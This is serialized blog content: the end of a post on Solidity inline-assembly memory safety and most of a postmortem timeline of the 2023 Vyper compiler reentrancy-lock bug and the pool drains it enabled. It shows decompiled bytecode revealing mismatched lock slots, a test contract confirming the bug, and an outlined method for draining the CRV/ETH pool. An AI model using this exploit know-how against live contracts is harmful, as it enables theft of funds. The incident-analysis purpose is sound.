guarantee that inline assembly will be emitted verbatim during generation",{"type":24,"tag":478,"props":33144,"children":33145},{},[33146],{"type":24,"tag":100,"props":33147,"children":33148},{},[33149,33151,33158],{"type":30,"value":33150},"It very clearly ",{"type":24,"tag":37,"props":33152,"children":33155},{"href":33153,"rel":33154},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[41],[33156],{"type":30,"value":33157},"holds true today",{"type":30,"value":436},{"type":24,"tag":920,"props":33160,"children":33162},{"className":32201,"code":33161,"language":32203,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n    setLocation(_inlineAsm);\n    if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n        m_context.setMemoryUnsafeInlineAssemblySeen();\n    CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n    yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[33163],{"type":24,"tag":156,"props":33164,"children":33165},{"__ignoreMap":7},[33166,33206,33213,33226,33298,33319,33370,33377],{"type":24,"tag":930,"props":33167,"children":33168},{"class":932,"line":933},[33169,33173,33178,33183,33187,33192,33197,33202],{"type":24,"tag":930,"props":33170,"children":33171},{"style":937},[33172],{"type":30,"value":32776},{"type":24,"tag":930,"props":33174,"children":33175},{"style":959},[33176],{"type":30,"value":33177}," IRGeneratorForStatements::",{"type":24,"tag":930,"props":33179,"children":33180},{"style":1002},[33181],{"type":30,"value":33182},"visit",{"type":24,"tag":930,"props":33184,"children":33185},{"style":959},[33186],{"type":30,"value":1010},{"type":24,"tag":930,"props":33188,"children":33189},{"style":943},[33190],{"type":30,"value":33191},"InlineAssembly",{"type":24,"tag":930,"props":33193,"children":33194},{"style":937},[33195],{"type":30,"value":33196}," const&",{"type":24,"tag":930,"props":33198,"children":33199},{"style":1023},[33200],{"type":30,"value":33201}," _inlineAsm",{"type":24,"tag":930,"props":33203,"children":33204},{"style":959},[33205],{"type":30,"value":1054},{"type":24,"tag":930,"props":33207,"children":33208},{"class":932,"line":984},[33209],{"type":24,"tag":930,"props":33210,"children":33211},{"style":959},[33212],{"type":30,"value":13987},{"type":24,"tag":930,"props":33214,"children":33215},{"class":932,"line":993},[33216,33221],{"type":24,"tag":930,"props":33217,"children":33218},{"style":1002},[33219],{"type":30,"value":33220},"    setLocation",{"type":24,"tag":930,"props":33222,"children":33223},{"style":959},[33224],{"type":30,"value":33225},"(_inlineAsm);\n",{"type":24,"tag":930,"props":33227,"children":33228},{"class":932,"line":1057},[33229,33233,33237,33241,33246,33250,33255,33260,33265,33269,33273,33277,33281,33285,33289,33294],{"type":24,"tag":930,"props":33230,"children":33231},{"style":1079},[33232],{"type":30,"value":15386},{"type":24,"tag":930,"props":33234,"children":33235},{"style":959},[33236],{"type":30,"value":1087},{"type":24,"tag":930,"props":33238,"children":33239},{"style":1158},[33240],{"type":30,"value":1410},{"type":24,"tag":930,"props":33242,"children":33243},{"style":1023},[33244],{"type":30,"value":33245},"_inlineAsm",{"type":24,"tag":930,"props":33247,"children":33248},{"style":959},[33249],{"type":30,"value":436},{"type":24,"tag":930,"props":33251,"children":33252},{"style":1002},[33253],{"type":30,"value":33254},"annotation",{"type":24,"tag":930,"props":33256,"children":33257},{"style":959},[33258],{"type":30,"value":33259},"().",{"type":24,"tag":930,"props":33261,"children":33262},{"style":1023},[33263],{"type":30,"value":33264},"hasMemoryEffects",{"type":24,"tag":930,"props":33266,"children":33267},{"style":1158},[33268],{"type":30,"value":17291},{"type":24,"tag":930,"props":33270,"children":33271},{"style":1158},[33272],{"type":30,"value":15971},{"type":24,"tag":930,"props":33274,"children":33275},{"style":1023},[33276],{"type":30,"value":33245},{"type":24,"tag":930,"props":33278,"children":33279},{"style":959},[33280],{"type":30,"value":436},{"type":24,"tag":930,"props":33282,"children":33283},{"style":1002},[33284],{"type":30,"value":33254},{"type":24,"tag":930,"props":33286,"children":33287},{"style":959},[33288],{"type":30,"value":33259},{"type":24,"tag":930,"props":33290,"children":33291},{"style":1023},[33292],{"type":30,"value":33293},"markedMemorySafe",{"type":24,"tag":930,"props":33295,"children":33296},{"style":959},[33297],{"type":30,"value":1054},{"type":24,"tag":930,"props":33299,"children":33300},{"class":932,"line":1066},[33301,33306,33310,33315],{"type":24,"tag":930,"props":33302,"children":33303},{"style":1023},[33304],{"type":30,"value":33305},"        m_context",{"type":24,"tag":930,"props":33307,"children":33308},{"style":959},[33309],{"type":30,"value":436},{"type":24,"tag":930,"props":33311,"children":33312},{"style":1002},[33313],{"type":30,"value":33314},"setMemoryUnsafeInlineAssemblySeen",{"type":24,"tag":930,"props":33316,"children":33317},{"style":959},[33318],{"type":30,"value":1310},{"type":24,"tag":930,"props":33320,"children":33321},{"class":932,"line":1075},[33322,33327,33331,33335,33340,33345,33349,33353,33357,33361,33366],{"type":24,"tag":930,"props":33323,"children":33324},{"style":959},[33325],{"type":30,"value":33326},"    CopyTranslate bodyCopier{",{"type":24,"tag":930,"props":33328,"children":33329},{"style":1023},[33330],{"type":30,"value":33245},{"type":24,"tag":930,"props":33332,"children":33333},{"style":959},[33334],{"type":30,"value":436},{"type":24,"tag":930,"props":33336,"children":33337},{"style":1002},[33338],{"type":30,"value":33339},"dialect",{"type":24,"tag":930,"props":33341,"children":33342},{"style":959},[33343],{"type":30,"value":33344},"(), m_context, ",{"type":24,"tag":930,"props":33346,"children":33347},{"style":1023},[33348],{"type":30,"value":33245},{"type":24,"tag":930,"props":33350,"children":33351},{"style":959},[33352],{"type":30,"value":436},{"type":24,"tag":930,"props":33354,"children":33355},{"style":1002},[33356],{"type":30,"value":33254},{"type":24,"tag":930,"props":33358,"children":33359},{"style":959},[33360],{"type":30,"value":33259},{"type":24,"tag":930,"props":33362,"children":33363},{"style":1023},[33364],{"type":30,"value":33365},"externalReferences",{"type":24,"tag":930,"props":33367,"children":33368},{"style":959},[33369],{"type":30,"value":19679},{"type":24,"tag":930,"props":33371,"children":33372},{"class":932,"line":1122},[33373],{"type":24,"tag":930,"props":33374,"children":33375},{"emptyLinePlaceholder":16},[33376],{"type":30,"value":2412},{"type":24,"tag":930,"props":33378,"children":33379},{"class":932,"line":1131},[33380,33385,33389,33394,33398,33402,33406,33411],{"type":24,"tag":930,"props":33381,"children":33382},{"style":959},[33383],{"type":30,"value":33384},"    yul::Statement modified ",{"type":24,"tag":930,"props":33386,"children":33387},{"style":1158},[33388],{"type":30,"value":1161},{"type":24,"tag":930,"props":33390,"children":33391},{"style":1002},[33392],{"type":30,"value":33393}," bodyCopier",{"type":24,"tag":930,"props":33395,"children":33396},{"style":959},[33397],{"type":30,"value":1010},{"type":24,"tag":930,"props":33399,"children":33400},{"style":1023},[33401],{"type":30,"value":33245},{"type":24,"tag":930,"props":33403,"children":33404},{"style":959},[33405],{"type":30,"value":436},{"type":24,"tag":930,"props":33407,"children":33408},{"style":1002},[33409],{"type":30,"value":33410},"operations",{"type":24,"tag":930,"props":33412,"children":33413},{"style":959},[33414],{"type":30,"value":33415},"());`\n",{"type":24,"tag":478,"props":33417,"children":33418},{"start":984},[33419],{"type":24,"tag":100,"props":33420,"children":33421},{},[33422],{"type":30,"value":33423},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":24,"tag":33,"props":33425,"children":33426},{},[33427],{"type":30,"value":33428},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":24,"tag":68,"props":33430,"children":33431},{"id":8423},[33432],{"type":30,"value":8426},{"type":24,"tag":33,"props":33434,"children":33435},{},[33436],{"type":30,"value":33437},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":24,"tag":33,"props":33439,"children":33440},{},[33441],{"type":30,"value":33442},"It's a promise between YUL generation and optimization.",{"type":24,"tag":21523,"props":33444,"children":33446},{"className":33445,"dataFootnotes":7},[21526],[33447,33452],{"type":24,"tag":68,"props":33448,"children":33450},{"className":33449,"id":18584},[21531],[33451],{"type":30,"value":21534},{"type":24,"tag":478,"props":33453,"children":33454},{},[33455,33489],{"type":24,"tag":100,"props":33456,"children":33458},{"id":33457},"user-content-fn-1",[33459,33461,33466,33468,33474,33476,33481,33483],{"type":30,"value":33460},"As an interesting aside, ",{"type":24,"tag":156,"props":33462,"children":33464},{"className":33463},[],[33465],{"type":30,"value":32461},{"type":30,"value":33467}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":24,"tag":156,"props":33469,"children":33471},{"className":33470},[],[33472],{"type":30,"value":33473},"memory-unsafe",{"type":30,"value":33475}," code can ",{"type":24,"tag":6032,"props":33477,"children":33478},{},[33479],{"type":30,"value":33480},"decrease",{"type":30,"value":33482}," gas consumption, especially in the YUL header. ",{"type":24,"tag":37,"props":33484,"children":33487},{"href":33485,"ariaLabel":21637,"className":33486,"dataFootnoteBackref":7},"#user-content-fnref-1",[21639],[33488],{"type":30,"value":21642},{"type":24,"tag":100,"props":33490,"children":33492},{"id":33491},"user-content-fn-2",[33493,33495,33500,33502],{"type":30,"value":33494},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":24,"tag":6032,"props":33496,"children":33497},{},[33498],{"type":30,"value":33499},"guarantee",{"type":30,"value":33501}," behavior with opaque bytes. ",{"type":24,"tag":37,"props":33503,"children":33506},{"href":33504,"ariaLabel":21657,"className":33505,"dataFootnoteBackref":7},"#user-content-fnref-2",[21639],[33507],{"type":30,"value":21642},{"type":24,"tag":5957,"props":33509,"children":33510},{},[33511],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":33513},[33514,33515,33516,33517,33518,33519,33520],{"id":27,"depth":984,"text":31},{"id":32160,"depth":984,"text":32163},{"id":32423,"depth":984,"text":32426},{"id":32155,"depth":984,"text":32647},{"id":32994,"depth":984,"text":32997},{"id":8423,"depth":984,"text":8426},{"id":18584,"depth":984,"text":21534},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":33525,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":33526,"description":33527,"author":8832,"image":33528,"date":33530,"isFeatured":16,"onBlogPage":16,"tags":33531,"body":33533,"_type":5983,"_id":34284,"_source":5985,"_file":34285,"_stem":34286,"_extension":5988},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":33529,"height":15,"width":15},"/posts/vyper-timeline/header.jpg","2023-08-01",[33532,32103],"vyper",{"type":21,"children":33534,"toc":34275},[33535,33540,33545,33550,33556,33561,33579,33589,33594,33602,33612,33631,33711,33721,33881,33886,33891,33901,33908,33913,33918,33932,33937,33954,33971,33990,34000,34013,34018,34031,34036,34041,34051,34078,34088,34118,34124,34133,34139,34144,34149,34154,34160,34165,34179,34184,34189,34194,34200,34205,34218,34244,34249,34271],{"type":24,"tag":33,"props":33536,"children":33537},{},[33538],{"type":30,"value":33539},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":24,"tag":33,"props":33541,"children":33542},{},[33543],{"type":30,"value":33544},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":24,"tag":33,"props":33546,"children":33547},{},[33548],{"type":30,"value":33549},"Here's how it all happened.",{"type":24,"tag":68,"props":33551,"children":33553},{"id":33552},"timeline",[33554],{"type":30,"value":33555},"Timeline",{"type":24,"tag":33,"props":33557,"children":33558},{},[33559],{"type":30,"value":33560},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":24,"tag":33,"props":33562,"children":33563},{},[33564,33569,33571,33578],{"type":24,"tag":275,"props":33565,"children":33566},{},[33567],{"type":30,"value":33568},"13:10 UTC",{"type":30,"value":33570}," pETH/ETH was ",{"type":24,"tag":37,"props":33572,"children":33575},{"href":33573,"rel":33574},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[41],[33576],{"type":30,"value":33577},"drained of $11M",{"type":30,"value":436},{"type":24,"tag":33,"props":33580,"children":33581},{},[33582,33587],{"type":24,"tag":275,"props":33583,"children":33584},{},[33585],{"type":30,"value":33586},"13:19 UTC",{"type":30,"value":33588}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":24,"tag":33,"props":33590,"children":33591},{},[33592],{"type":30,"value":33593},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":24,"tag":6054,"props":33595,"children":33596},{},[33597],{"type":24,"tag":33,"props":33598,"children":33599},{},[33600],{"type":30,"value":33601},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":24,"tag":33,"props":33603,"children":33604},{},[33605,33610],{"type":24,"tag":275,"props":33606,"children":33607},{},[33608],{"type":30,"value":33609},"14:01 UTC",{"type":30,"value":33611}," A warroom was formed around this comment.",{"type":24,"tag":33,"props":33613,"children":33614},{},[33615,33620,33622,33629],{"type":24,"tag":275,"props":33616,"children":33617},{},[33618],{"type":30,"value":33619},"14:07 UTC",{"type":30,"value":33621}," We decompiled the JPEGd contract ",{"type":24,"tag":37,"props":33623,"children":33626},{"href":33624,"rel":33625},"https://ethervm.io/decompile",[41],[33627],{"type":30,"value":33628},"with our favorite decompiler",{"type":30,"value":33630}," and noted a difference in reentrancy guard storage slot.",{"type":24,"tag":920,"props":33632,"children":33636},{"className":33633,"code":33634,"language":33635,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n    storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n    storage[0x02] = 0x01;\n","yul",[33637],{"type":24,"tag":156,"props":33638,"children":33639},{"__ignoreMap":7},[33640,33648,33656,33664,33672,33679,33687,33695,33703],{"type":24,"tag":930,"props":33641,"children":33642},{"class":932,"line":933},[33643],{"type":24,"tag":930,"props":33644,"children":33645},{},[33646],{"type":30,"value":33647},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":24,"tag":930,"props":33649,"children":33650},{"class":932,"line":984},[33651],{"type":24,"tag":930,"props":33652,"children":33653},{},[33654],{"type":30,"value":33655},"label_0057:\n",{"type":24,"tag":930,"props":33657,"children":33658},{"class":932,"line":993},[33659],{"type":24,"tag":930,"props":33660,"children":33661},{},[33662],{"type":30,"value":33663},"    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":24,"tag":930,"props":33665,"children":33666},{"class":932,"line":1057},[33667],{"type":24,"tag":930,"props":33668,"children":33669},{},[33670],{"type":30,"value":33671},"    storage[0x00] = 0x01;\n",{"type":24,"tag":930,"props":33673,"children":33674},{"class":932,"line":1066},[33675],{"type":24,"tag":930,"props":33676,"children":33677},{"emptyLinePlaceholder":16},[33678],{"type":30,"value":2412},{"type":24,"tag":930,"props":33680,"children":33681},{"class":932,"line":1075},[33682],{"type":24,"tag":930,"props":33683,"children":33684},{},[33685],{"type":30,"value":33686},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":24,"tag":930,"props":33688,"children":33689},{"class":932,"line":1122},[33690],{"type":24,"tag":930,"props":33691,"children":33692},{},[33693],{"type":30,"value":33694},"label_1AF3:\n",{"type":24,"tag":930,"props":33696,"children":33697},{"class":932,"line":1131},[33698],{"type":24,"tag":930,"props":33699,"children":33700},{},[33701],{"type":30,"value":33702},"    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":24,"tag":930,"props":33704,"children":33705},{"class":932,"line":1144},[33706],{"type":24,"tag":930,"props":33707,"children":33708},{},[33709],{"type":30,"value":33710},"    storage[0x02] = 0x01;\n",{"type":24,"tag":33,"props":33712,"children":33713},{},[33714,33719],{"type":24,"tag":275,"props":33715,"children":33716},{},[33717],{"type":30,"value":33718},"14:27 UTC",{"type":30,"value":33720}," We confirmed this behavior with a simple local test contract.",{"type":24,"tag":920,"props":33722,"children":33724},{"className":22564,"code":33723,"language":22563,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n    return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n    return False\n",[33725],{"type":24,"tag":156,"props":33726,"children":33727},{"__ignoreMap":7},[33728,33736,33757,33792,33804,33811,33818,33837,33869],{"type":24,"tag":930,"props":33729,"children":33730},{"class":932,"line":933},[33731],{"type":24,"tag":930,"props":33732,"children":33733},{"style":1002},[33734],{"type":30,"value":33735},"@external\n",{"type":24,"tag":930,"props":33737,"children":33738},{"class":932,"line":984},[33739,33744,33748,33753],{"type":24,"tag":930,"props":33740,"children":33741},{"style":1002},[33742],{"type":30,"value":33743},"@nonreentrant",{"type":24,"tag":930,"props":33745,"children":33746},{"style":959},[33747],{"type":30,"value":1010},{"type":24,"tag":930,"props":33749,"children":33750},{"style":1270},[33751],{"type":30,"value":33752},"\"lock\"",{"type":24,"tag":930,"props":33754,"children":33755},{"style":959},[33756],{"type":30,"value":1054},{"type":24,"tag":930,"props":33758,"children":33759},{"class":932,"line":993},[33760,33765,33770,33774,33779,33784,33788],{"type":24,"tag":930,"props":33761,"children":33762},{"style":937},[33763],{"type":30,"value":33764},"def",{"type":24,"tag":930,"props":33766,"children":33767},{"style":1002},[33768],{"type":30,"value":33769}," test",{"type":24,"tag":930,"props":33771,"children":33772},{"style":959},[33773],{"type":30,"value":1010},{"type":24,"tag":930,"props":33775,"children":33776},{"style":1023},[33777],{"type":30,"value":33778},"addr",{"type":24,"tag":930,"props":33780,"children":33781},{"style":959},[33782],{"type":30,"value":33783},": address) -> ",{"type":24,"tag":930,"props":33785,"children":33786},{"style":943},[33787],{"type":30,"value":32776},{"type":24,"tag":930,"props":33789,"children":33790},{"style":959},[33791],{"type":30,"value":8680},{"type":24,"tag":930,"props":33793,"children":33794},{"class":932,"line":1057},[33795,33799],{"type":24,"tag":930,"props":33796,"children":33797},{"style":1079},[33798],{"type":30,"value":20090},{"type":24,"tag":930,"props":33800,"children":33801},{"style":937},[33802],{"type":30,"value":33803}," True\n",{"type":24,"tag":930,"props":33805,"children":33806},{"class":932,"line":1066},[33807],{"type":24,"tag":930,"props":33808,"children":33809},{"emptyLinePlaceholder":16},[33810],{"type":30,"value":2412},{"type":24,"tag":930,"props":33812,"children":33813},{"class":932,"line":1075},[33814],{"type":24,"tag":930,"props":33815,"children":33816},{"style":1002},[33817],{"type":30,"value":33735},{"type":24,"tag":930,"props":33819,"children":33820},{"class":932,"line":1122},[33821,33825,33829,33833],{"type":24,"tag":930,"props":33822,"children":33823},{"style":1002},[33824],{"type":30,"value":33743},{"type":24,"tag":930,"props":33826,"children":33827},{"style":959},[33828],{"type":30,"value":1010},{"type":24,"tag":930,"props":33830,"children":33831},{"style":1270},[33832],{"type":30,"value":33752},{"type":24,"tag":930,"props":33834,"children":33835},{"style":959},[33836],{"type":30,"value":1054},{"type":24,"tag":930,"props":33838,"children":33839},{"class":932,"line":1131},[33840,33844,33849,33853,33857,33861,33865],{"type":24,"tag":930,"props":33841,"children":33842},{"style":937},[33843],{"type":30,"value":33764},{"type":24,"tag":930,"props":33845,"children":33846},{"style":1002},[33847],{"type":30,"value":33848}," test2",{"type":24,"tag":930,"props":33850,"children":33851},{"style":959},[33852],{"type":30,"value":1010},{"type":24,"tag":930,"props":33854,"children":33855},{"style":1023},[33856],{"type":30,"value":33778},{"type":24,"tag":930,"props":33858,"children":33859},{"style":959},[33860],{"type":30,"value":33783},{"type":24,"tag":930,"props":33862,"children":33863},{"style":943},[33864],{"type":30,"value":32776},{"type":24,"tag":930,"props":33866,"children":33867},{"style":959},[33868],{"type":30,"value":8680},{"type":24,"tag":930,"props":33870,"children":33871},{"class":932,"line":1144},[33872,33876],{"type":24,"tag":930,"props":33873,"children":33874},{"style":1079},[33875],{"type":30,"value":20090},{"type":24,"tag":930,"props":33877,"children":33878},{"style":937},[33879],{"type":30,"value":33880}," False\n",{"type":24,"tag":33,"props":33882,"children":33883},{},[33884],{"type":30,"value":33885},"This was not just another reentrancy bug.",{"type":24,"tag":33,"props":33887,"children":33888},{},[33889],{"type":30,"value":33890},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":24,"tag":33,"props":33892,"children":33893},{},[33894,33899],{"type":24,"tag":275,"props":33895,"children":33896},{},[33897],{"type":30,"value":33898},"14:37 UTC",{"type":30,"value":33900}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":24,"tag":33,"props":33902,"children":33903},{},[33904],{"type":24,"tag":140,"props":33905,"children":33907},{"alt":7,"src":33906},"/posts/vyper-timeline/sstore.png",[],{"type":24,"tag":33,"props":33909,"children":33910},{},[33911],{"type":30,"value":33912},"It was a race with the hackers.",{"type":24,"tag":33,"props":33914,"children":33915},{},[33916],{"type":30,"value":33917},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":24,"tag":6054,"props":33919,"children":33920},{},[33921],{"type":24,"tag":33,"props":33922,"children":33923},{},[33924,33926],{"type":30,"value":33925},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":24,"tag":37,"props":33927,"children":33930},{"href":33928,"rel":33929},"https://twitter.com/hexagate_/status/1685677801813217280",[41],[33931],{"type":30,"value":33928},{"type":24,"tag":33,"props":33933,"children":33934},{},[33935],{"type":30,"value":33936},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":24,"tag":33,"props":33938,"children":33939},{},[33940,33945,33946,33953],{"type":24,"tag":275,"props":33941,"children":33942},{},[33943],{"type":30,"value":33944},"14:50 UTC",{"type":30,"value":510},{"type":24,"tag":37,"props":33947,"children":33950},{"href":33948,"rel":33949},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[41],[33951],{"type":30,"value":33952},"msETH/ETH was drained",{"type":30,"value":436},{"type":24,"tag":33,"props":33955,"children":33956},{},[33957,33962,33963,33970],{"type":24,"tag":275,"props":33958,"children":33959},{},[33960],{"type":30,"value":33961},"15:34 UTC",{"type":30,"value":510},{"type":24,"tag":37,"props":33964,"children":33967},{"href":33965,"rel":33966},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[41],[33968],{"type":30,"value":33969},"alETH/ETH was drained",{"type":30,"value":436},{"type":24,"tag":33,"props":33972,"children":33973},{},[33974,33979,33981,33988],{"type":24,"tag":275,"props":33975,"children":33976},{},[33977],{"type":30,"value":33978},"15:43 UTC",{"type":30,"value":33980}," We identified that ",{"type":24,"tag":37,"props":33982,"children":33985},{"href":33983,"rel":33984},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[41],[33986],{"type":30,"value":33987},"CRV/ETH was vulnerable",{"type":30,"value":33989},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":24,"tag":33,"props":33991,"children":33992},{},[33993,33998],{"type":24,"tag":275,"props":33994,"children":33995},{},[33996],{"type":30,"value":33997},"16:11 UTC",{"type":30,"value":33999}," We began working on a whitehat exploit.",{"type":24,"tag":33,"props":34001,"children":34002},{},[34003,34005,34012],{"type":30,"value":34004},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":24,"tag":37,"props":34006,"children":34009},{"href":34007,"rel":34008},"https://twitter.com/vyperlang/status/1685692973051498497",[41],[34010],{"type":30,"value":34011},"public statement on affected versions",{"type":30,"value":436},{"type":24,"tag":33,"props":34014,"children":34015},{},[34016],{"type":30,"value":34017},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":24,"tag":33,"props":34019,"children":34020},{},[34021,34023,34030],{"type":30,"value":34022},"Five minutes later at 19:11 UTC, ",{"type":24,"tag":37,"props":34024,"children":34027},{"href":34025,"rel":34026},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[41],[34028],{"type":30,"value":34029},"somebody else stole the funds",{"type":30,"value":436},{"type":24,"tag":33,"props":34032,"children":34033},{},[34034],{"type":30,"value":34035},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":24,"tag":33,"props":34037,"children":34038},{},[34039],{"type":30,"value":34040},"Nevertheless, there was more ground to cover.",{"type":24,"tag":33,"props":34042,"children":34043},{},[34044,34049],{"type":24,"tag":275,"props":34045,"children":34046},{},[34047],{"type":30,"value":34048},"21:26 UTC",{"type":30,"value":34050}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":24,"tag":6054,"props":34052,"children":34053},{},[34054],{"type":24,"tag":33,"props":34055,"children":34056},{},[34057,34059,34063,34065,34068,34070,34073,34075],{"type":30,"value":34058},"if you send like 30k crv to the crv/eth pool ",{"type":24,"tag":34060,"props":34061,"children":34062},"br",{},[],{"type":30,"value":34064},"\nyou can then update admin fee ",{"type":24,"tag":34060,"props":34066,"children":34067},{},[],{"type":30,"value":34069},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":24,"tag":34060,"props":34071,"children":34072},{},[],{"type":30,"value":34074},"\nso you can basically drain whole pool for few hundred K crv ",{"type":24,"tag":34060,"props":34076,"children":34077},{},[],{"type":24,"tag":33,"props":34079,"children":34080},{},[34081,34086],{"type":24,"tag":275,"props":34082,"children":34083},{},[34084],{"type":30,"value":34085},"21:52 UTC",{"type":30,"value":34087}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":24,"tag":33,"props":34089,"children":34090},{},[34091,34093,34100,34102,34109,34117],{"type":30,"value":34092},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":24,"tag":37,"props":34094,"children":34097},{"href":34095,"rel":34096},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[41],[34098],{"type":30,"value":34099},"CRV admin fee bot",{"type":30,"value":34101}," had claimed fees and ",{"type":24,"tag":37,"props":34103,"children":34106},{"href":34104,"rel":34105},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[41],[34107],{"type":30,"value":34108},"the pool was drained",{"type":24,"tag":18577,"props":34110,"children":34111},{},[34112],{"type":24,"tag":37,"props":34113,"children":34115},{"href":32714,"ariaDescribedBy":34114,"dataFootnoteRef":7,"id":32716},[18584],[34116],{"type":30,"value":7129},{"type":30,"value":436},{"type":24,"tag":68,"props":34119,"children":34121},{"id":34120},"blame",[34122],{"type":30,"value":34123},"Blame",{"type":24,"tag":33,"props":34125,"children":34126},{},[34127,34131],{"type":24,"tag":6032,"props":34128,"children":34129},{},[34130],{"type":30,"value":34123},{"type":30,"value":34132}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":24,"tag":151,"props":34134,"children":34136},{"id":34135},"races",[34137],{"type":30,"value":34138},"Races",{"type":24,"tag":33,"props":34140,"children":34141},{},[34142],{"type":30,"value":34143},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":24,"tag":33,"props":34145,"children":34146},{},[34147],{"type":30,"value":34148},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":24,"tag":33,"props":34150,"children":34151},{},[34152],{"type":30,"value":34153},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":24,"tag":151,"props":34155,"children":34157},{"id":34156},"information-leakage",[34158],{"type":30,"value":34159},"Information Leakage",{"type":24,"tag":33,"props":34161,"children":34162},{},[34163],{"type":30,"value":34164},"I was both an auditor and a whitehat.",{"type":24,"tag":33,"props":34166,"children":34167},{},[34168,34170,34177],{"type":30,"value":34169},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":24,"tag":37,"props":34171,"children":34174},{"href":34172,"rel":34173},"https://twitter.com/osec_io/status/1579969927020412929",[41],[34175],{"type":30,"value":34176},"by publishing the \"scoop\"",{"type":30,"value":34178}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":24,"tag":33,"props":34180,"children":34181},{},[34182],{"type":30,"value":34183},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":24,"tag":33,"props":34185,"children":34186},{},[34187],{"type":30,"value":34188},"Half an hour more could have saved $18M.",{"type":24,"tag":33,"props":34190,"children":34191},{},[34192],{"type":30,"value":34193},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard 